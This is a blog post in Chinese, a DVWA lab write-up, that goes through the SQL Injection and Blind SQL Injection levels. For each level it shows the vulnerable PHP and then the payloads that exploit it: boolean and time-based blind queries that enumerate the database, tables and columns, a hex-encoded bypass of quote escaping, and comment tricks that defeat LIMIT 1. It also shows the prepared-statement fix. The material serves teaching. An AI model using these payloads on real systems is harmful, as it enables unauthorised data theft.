码迷,mamicode.com
首页 > 其他好文 > 详细

DVWA学习记录 PartⅦ

时间:2020-04-30 11:39:17      阅读:71      评论:0      收藏:0      [点我收藏+]

标签:user   sel   直接   第一个字符   count   SQL_error   incr   number   破坏   

SQL Injection

1. 题目

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

技术图片

2. Low

a. 代码分析

<?php
if( isset( $_SESSION [ ‘id‘ ] ) ) {
    // Get input
    $id = $_SESSION[ ‘id‘ ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>Something went wrong.</pre>‘ );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

b. 漏洞利用

技术图片

3. Medium

a. 代码分析

<?php 
if( isset( $_POST[ ‘Submit‘ ] ) ) { 
    // Get input 
    $id = $_POST[ ‘id‘ ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Display values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 
    //mysql_close(); 
} 
?> 

代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

b. 漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

技术图片

4. High

a. 代码分析

<?php 
if( isset( $_SESSION [ ‘id‘ ] ) ) { 
    // Get input 
    $id = $_SESSION[ ‘id‘ ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; 
    $result = mysql_query( $query ) or die( ‘<pre>Something went wrong.</pre>‘ ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 
    mysql_close(); 
} 
?> 

与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望控制只输出一个结果。

b. 漏洞利用

对于添加了LIMIT 1,但是我们可以通过#将其注释掉。

5. impossible

a. 代码分析

<?php 
if( isset( $_GET[ ‘Submit‘ ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ ); 

    // Get input 
    $id = $_GET[ ‘id‘ ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ ); 
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ ‘first_name‘ ]; 
            $last  = $row[ ‘last_name‘ ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?> 

使用了PDO技术,将代码与数据分开,防止SQL注入。查询数据只有一条时,才会输出,可以防止脱裤。

SQL Injection(blind)

1. 题目

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。

技术图片

2. Low

a. 代码分析

<?php
if( isset( $_GET[ ‘Submit‘ ] ) ) {
    // Get input
    $id = $_GET[ ‘id‘ ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed ‘or die‘ to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo ‘<pre>User ID exists in the database.</pre>‘;
    }
    else {
        // User wasn‘t found, so the page wasn‘t!
        header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );

        // Feedback for end user
        echo ‘<pre>User ID is MISSING from the database.</pre>‘;
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

程序没有对输入进行检测与过滤,存在明显注入漏洞,但是对于所查询的数据是否在数据库中得到的输出结果只有两种。

b. 漏洞利用

布尔盲注

(1) 判断注入类型

1				# 正确
1‘				# 错误
1‘ and 1=‘1		# 正确

字符型注入

(2) 获得数据库名

1‘ and length(database())=1#	# 错误
1‘ and length(database())=4#	# 正确

数据库字段为4个字符

1‘ and ascii(substr(database(),1,1))>97		# 正确,说明第一个为小写字母
1‘ and ascii(substr(database(),1,1))>109	# 错误,说明第一个字符ascii小于109(m)
1‘ and ascii(substr(database(),1,1))>103	# 错误,说明第一个字符ascii小于103(g)
1‘ and ascii(substr(database(),1,1))>100	# 错误,说明第一个字符ascii小于100(d)
1’ and ascii(substr(database(),1,1))>99		# 正确,说明第一个字符ascii大于99(c)
1’ and ascii(substr(database(),1,1))=100	# 正确,说明第一个字符为d
1’ and ascii(substr(database(),2,1))>97		# 正确,说明第二个为小写字母
······

数据库名为(dvwa)

(3) 获得数据表名

判断表的数量:

1‘ and (select count (table_name) from information_schema.tables where table_schema=database())=1# 		# 错误
1‘ and (select count (table_name) from information_schema.tables where table_schema=database())=2# 		# 正确

有两张表

判断表名的长度:

1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 	# 错误
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2# 	# 错误
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 	# 正确 第一张表 表名为9个字符
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5#	# 正确 第二张表 表名为5个字符

判断表名:

1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#	# 正确
······

guestbook、users

(4) 判断列名

判断列数:

1‘ and (select count(column_name) from information_schema.columns where table_name= ‘users‘)=1#		# 错误
1‘ and (select count(column_name) from information_schema.columns where table_name= ‘users‘)=8# 	# 正确

有8列

判断第一列,列名的字符数:

1‘ and length(substr((select column_name from information_schema.columns where table_name=‘users‘ imit 0,1),1))=1 # 显示不存在

判断第一列,列名:

1‘ and ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ imit 0,1),1,1))>97#	# 正确

时间盲注

(1) 判断是否存在时间注入

1‘ and sleep(3)#		# 对比相应时长

(2) 数据库名

数据库名长度:

1‘ and if(length(database())=1,sleep(5),1)#		# 没有延迟
1‘ and if(length(database())=2,sleep(5),1)#		# 没有延迟

数据库名:

1‘ and if(ascii(substr(database(),1,1))>97,sleep(5),1)#		# 存在延迟

3. Medium

a. 代码分析

<?php
if( isset( $_POST[ ‘Submit‘ ]  ) ) {
    // Get input
    $id = $_POST[ ‘id‘ ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed ‘or die‘ to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo ‘<pre>User ID exists in the database.</pre>‘;
    }
    else {
        // Feedback for end user
        echo ‘<pre>User ID is MISSING from the database.</pre>‘;
    }
    //mysql_close();
}
?>

使用mysql_real_escape_string过滤特殊符号,并使用下拉表单控制输入。

技术图片

b. 漏洞利用

下拉表单可以通过修改数据包进行绕过,对于引号过滤,使用十六进制编码进行绕过。

1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8#
# 0×7573657273为users的16进制

4. High

a. 代码分析

<?php
if( isset( $_COOKIE[ ‘id‘ ] ) ) {
    // Get input
    $id = $_COOKIE[ ‘id‘ ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed ‘or die‘ to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo ‘<pre>User ID exists in the database.</pre>‘;
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn‘t found, so the page wasn‘t!
        header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );

        // Feedback for end user
        echo ‘<pre>User ID is MISSING from the database.</pre>‘;
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

利用cookie传递参数id,当查询结果为空时,有可能执行函数sleep(random),扰乱了时间盲注的效果。

SQL查询语句中添加了LIMIT 1,只输出一个结果。

b. 漏洞利用

使用布尔盲注,使用#注释LIMIT 1.

5. impossible

a. 代码分析

<?php
if( isset( $_GET[ ‘Submit‘ ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

    // Get input
    $id = $_GET[ ‘id‘ ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo ‘<pre>User ID exists in the database.</pre>‘;
        }
        else {
            // User wasn‘t found, so the page wasn‘t!
            header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );

            // Feedback for end user
            echo ‘<pre>User ID is MISSING from the database.</pre>‘;
        }
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

PDO+CSRF,告辞。

DVWA学习记录 PartⅦ

标签:user   sel   直接   第一个字符   count   SQL_error   incr   number   破坏   

原文地址:https://www.cnblogs.com/chalan630/p/12807559.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!